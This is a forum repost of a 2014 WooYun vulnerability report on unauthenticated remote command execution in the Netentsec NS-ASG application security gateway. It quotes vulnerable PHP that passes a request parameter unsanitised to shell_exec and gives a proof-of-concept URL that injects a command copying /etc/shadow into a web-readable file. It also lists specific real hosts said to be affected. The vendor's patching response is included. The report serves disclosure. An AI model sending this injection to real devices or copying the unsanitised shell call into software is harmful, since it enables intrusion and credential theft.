发新话题
打印

网康 NS-ASG 应用安全网关 远程命令执行

网康 NS-ASG 应用安全网关 远程命令执行

漏洞概要
缺陷编号:        WooYun-2014-58944
漏洞标题:        网康 NS-ASG 应用安全网关 远程命令执行
相关厂商:        网康科技
漏洞作者:        狗狗侠
提交时间:        2014-04-30 13:16
公开时间:        2014-07-29 13:18
漏洞类型:        远程代码执行
危害等级:        高
自评Rank:        20
漏洞状态:        厂商已经确认
漏洞来源:        http://www.wooyun.org
Tags标签:        无


漏洞详情披露状态:
2014-04-30:        细节已通知厂商并且等待厂商处理中
2014-05-01:        厂商已经确认,细节仅向厂商公开
2014-05-04:        细节向第三方安全合作伙伴开放
2014-05-11:        细节向核心白帽子及相关领域专家公开
2014-05-21:        细节向普通白帽子公开
2014-06-10:        细节向实习白帽子公开
2014-07-29:        细节向公众公开

简要描述:
详细说明:无需登录,直接执行远程命令

初步搜索涉及以下单位及学校:

https://vpn.lib.tju.edu.cn

https:// 211.68.223.12

https://221.213.45.231

https://202.113.20.208

https://202.113.49.100/

https://122.226.150.69

https://gljy.cn

等等单位….



漏洞点


code 区域<?php
include("include/common.inc");
include("./gadgets/lib/FusionCharts.php");
include("./gadgets/lib/Utilities.php");
//Authenticate($USER_ADMIN);
switch ($action)
{
case "":
        list_group("");
        break;
case "reboot":
        exec("sudo nohup /sbin/reboot &");
        list_group("");
        break;
case "poweroff":
        exec("sudo /sbin/poweroff &");
        list_group("");
        break;
case "getethinfo":
        $rtinfo = getRT($ethx);  //这里触发漏洞,跟踪该函数
        echo json_encode($rtinfo);
        break;
}


function getRT($eth='eth0'){
        $result  = shell_exec("sudo /sbin/ifconfig $eth"); //这里直接执行了。。。
        $ethinfo = array();
        preg_match("/RX packets:\d+/",$result,$rtarr);
        $ethinfo['rpackets'] = intval(substr($rtarr[0],11));
        preg_match("/TX packets:\d+/",$result,$rtarr);
        $ethinfo['tpackets'] = intval(substr($rtarr[0],11));
        preg_match("/RX bytes:\d+/",$result,$rtarr);
        $ethinfo['rbytes'] =intval(substr($rtarr[0],9));
        preg_match("/TX bytes:\d+/",$result,$rtarr);
        $ethinfo['tbytes'] = intval(substr($rtarr[0],9));
        return $ethinfo;
}



验证方式如下:

https://www.xxxxx.com/admin/device_status.php?action=getethinfoex=a| cat /etc/shadow > /Isc/third-party/httpd/htdocs/test.php



漏洞证明:验证方式如下:

https://www.xxxxx.com/admin/device_status.php?action=getethinfoex=a| cat /etc/shadow > /Isc/third-party/httpd/htdocs/test.php

修复方案:网康的设备是临时工写的么?
版权声明:转载请注明来源 狗狗侠@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:10
确认时间:2014-05-01 22:04
厂商回复:4月29日,网康收到CNVD漏洞细节通知,迅速启动并同时展开了以下工作:
1.进一步验证漏洞细节,目前已确认所曝漏洞确实存在于ASG产品;
2.对全线产品进行安全自查,重点确认ASG产品是否仍存其它未知漏洞,并验证类似漏洞是否同存于其它产品线,截至目前,自查工作仍在进行中,全线产品暂未发现新的漏洞;
3.开发用于漏洞修补的更新程序,将尽快发布应急补丁包,介时用户可通过操作设备管理界面直接安装该更新程序以对所曝漏洞进行应急性修补;
4.售后服务部通过内部CRM系统导出全部ASG用户名单,并开始逐一联系用户通报漏洞情况,补丁包发布后,将再次逐一通知所有用户及时安装更新,此项工作预计3工作日内完成;
5.为避免统计疏漏,工程部于4月30日16:00向CNVD共享了在线ASG设备的辨识方法,将配合CNVD共同开展在线设备的主动探测工作,一旦发现未更新补丁的在线设备,将联系并协助用户及时更新,此项工作预计10工作日内完成;
6.将尽快向社会开放漏洞提交邮箱,接受第三方机构、白帽子及其它组织、个人向网康提交产品漏洞,向所有帮助网康产品进步的组织和人士表示感谢。

最新状态:暂无

原文:http://www.wooyun.org/bugs/wooyun-2014-058944

TOP

发新话题